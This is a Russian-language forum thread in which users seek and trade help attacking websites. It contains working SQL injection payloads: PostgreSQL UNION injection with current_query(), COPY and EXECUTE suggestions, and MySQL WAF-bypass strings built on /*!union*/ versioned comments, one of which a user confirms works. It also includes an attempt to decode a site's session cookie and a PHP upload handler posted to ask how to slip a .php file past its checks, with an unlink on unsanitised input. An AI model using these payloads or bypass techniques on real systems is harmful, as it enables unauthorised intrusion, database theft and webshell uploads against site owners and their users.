Вопросы по уязвимостям

[Tim]

Сообщение от NameSpace

Tim, Мало информации даете. Вывода ошибок (или косвенного сообщения о том, что в одном из запросов произошла ошибка) нет? Известно имя хоть одной таблицы, информацию из которой выводят скрипты (можно попробовать подобрать)? Пути известны? Файлы можете создавать? Все три варианта не сработали?

Смотрите документацию по ссылке. Например COPY:

PHP код:

COPY table_name [ ( column [, ...] ) ]
    FROM { 'filename' | STDIN }
    [ [ WITH ] ( option [, ...] ) ] 


Можно скопировать всю информацию из таблицы в файл без всякого SELECT.

Здесь приводят пример использования EXECUTE. С помощью него можно обойти фильтры (но нельзя напрямую вывести информацию). Вы пробовали его использовать? Если сработает - решите все проблемы моментально.

Вывода ошибок нет. Путей тоже нет.
Проверить работу COPY не могу, т.к. нельзя сделать выборку при помощи SELECT FROM.
При срабатывании фильтра просто пустая страница.
Есть скрипт, который выводит список таблиц. Из его вывода видно, что таблички создаются.
При выполнении запросов из статьи для выполнения команд, фильтр не сработал. т.е. можно предположить, что запросы выполнились.

current_query вернул данный запрос:

PHP код:

SELECT * FROM optionview WHERE id=-1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,current_query(),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--  and active='t' ORDER BY color=NULL DESC,size=NULL DESC,style=NULL DESC 


EXECUTE пробовал. Не работает.

[NameSpace]

Tim, Вы не думали о том, как тот скрипт получил список таблиц? Или на него не влияет фильтр, или, фильтр не железобетонный.

Должны быть способы вывести информацию. Проще начать с него.

Возможно EXECUTE работает, но этого просто не видно. Нельзя ориентироваться только на фильтр. Обычно для этого проверяют работоспособность кавычек и используют pg_sleep(). Вы уже сказали, что функция выполнения создается, однако, на вашей версии (9.0) это не должно работать.

[Ravenous]

На сайте самописе (php) устанваливаются кука с именем uid. Подскажите плиз алгоритм шифрования, поход на base64.
Сделано несколько запросов, чтобы уловить закономерность.

AAAAAVNuKz4FYHRGV+5BAg==
AAAAAVNuK0oDiXRDUKxyAg==
AAAAAVNuK1QHDnRIV2yWAg==
AAAAAVNuK10GUnRHUYnWAg==
AAAAAVNuK2gDiXRDUKztAg==
AAAAAVNuK3EConRCWBdOAg==
AAAAAVNuK3gDiXRDUK01Ag==
AAAAAVNuK4EDiXRDUK1nAg==
AAAAAVNuK5EB4HRBUf4MAg==

[NameSpace]

Ravenous, Всё, что выглядит как base64 обычно и есть base64, иногда с измененным алфавитом. Данные бинарные (возможно зашифрованный/сжатый plaintext). Больше обычно сложно сказать, если не найти зацепку на самом сайте (например понять, для чего нужна данная кука).

uid = User identifier

Может быть, одна часть байтов - ID, другая - сессия. Можно попробовать попробовать поймать изменения неизменяемой части при смене User ID, IP, User Agent, GEOIP, etc и действий на самом сайте. Сбор, даже в небольшом количестве (2-3 куки) лучше автоматизировать.

[SynQ]

NameSpace

Вы должны добавить отзыв кому-то ещё, прежде чем сможете снова добавить его NameSpace.

Приятно читать!

[Ravenous]

Имеется SQL-inj, с очень жестким WAF.
Одна колонка.
Код ошибки 424.
Метод POST не предлагать.

отбрасывался FROM. также фунции user() database().
Удалось обойти немного так

script.php?param=123123+/*!union*/ select* from (select version())a-- 1

при попытке вставить подзапрос script.php?param=123123+/*!union*/ select* from (select user_id from user)a-- 1

waf работает на from который в подзапросе.
вставлял %0D,+,/**/.

[NameSpace]

Ravenous, WAF в ЛС. Из вашего поста не ясно, при каких обстоятельствах работает или не работает FROM, зависит ли это от отсутствия или присутствия других слов (символов).

Немного изменил первый запрос:

PHP код:

script.php?param=123123+/*!union*/ select@ from (information_schema.tables) WHERE 0&@a:=table_schema /*!union*/ select @a--1 


[}{оттабыч]

Как вариант

SELECT 1/*!41320UNION/*!/*!/*!00000SELECT/*!/*!USER/*!(/*!/*!/*!*/)

[Ravenous]

Сообщение от NameSpace

Ravenous, WAF в ЛС. Из вашего поста не ясно, при каких обстоятельствах работает или не работает FROM, зависит ли это от отсутствия или присутствия других слов (символов).

Немного изменил первый запрос:

PHP код:

script.php?param=123123+/*!union*/ select@ from (information_schema.tables) WHERE 0&@a:=table_schema /*!union*/ select @a--1 


NameSpace, Спасибо огромное. Твой измененный запрос полностью работает.



P.S. }{оттабыч благодарю за вариант.

[beau]

Возможно ли обойти проверки и залить .php?

PHP код:

<?php
function required_fields_validate(){

    $errors = array();
    $allowed_types = array('jpg', 'jpeg', 'gif', 'png', 'bmp');

    if (empty($_POST['firstname'])){
        $errors[] = 'Please enter your first name.';
    }

    if (empty($_POST['lastname'])) {
        $errors[] = 'Please enter your last name.';
    }

    if (empty($_POST['email'])) {
        $errors[] = 'Please enter your email address.';
    }

    if (!empty($_POST['photo_filename'])) {
        $file_ext = strtolower(pathinfo($_POST['photo_filename'], PATHINFO_EXTENSION));
        if (!in_array($file_ext, $allowed_types)) {
            $errors[] = 'Please upload a valid photo. Accepted file types: ' . implode(', ',$allowed_types) . '.';
            unlink( ABSPATH . '/wp-content/uploads/' . $_POST['photo_filename']); // delete the invalid upload
        }
    } else {
        $errors[] = 'Please upload a photo.';
    }

    if (count($errors) > 0) {

        // echo "<div class=\"errors\">";
        // echo "<p>The following errors must be corrected:</p><ul><li>";
        // echo implode("</li><li>", $errors);
        // echo "</li></ul>";
        // echo "</div>";
        return false;

    } else {

        return true;

    }

}

if ($_SERVER['REQUEST_METHOD'] == 'POST') {

    if (required_fields_validate()) {

        $firstname  = $_POST['firstname'];
        $lastname   = $_POST['lastname'];
        $post_title = $firstname . ' ' . $lastname;
        $email      = $_POST['email'];
        $filename   = $_POST['photo_filename'];
        $opt_in     = (isset($_POST['opt_in'])) ? 'true' : 'false';

        $return_id = add_submission($post_title, $email, $filename, $opt_in); // returns the post id if successful, false if not

        if ($return_id) {

            header( 'Location: ' . get_bloginfo('url') . '/' . $return_id);

        } else {

            header( 'Location: ' . get_bloginfo('url')); // should add some sort of error message here

        };

    }

}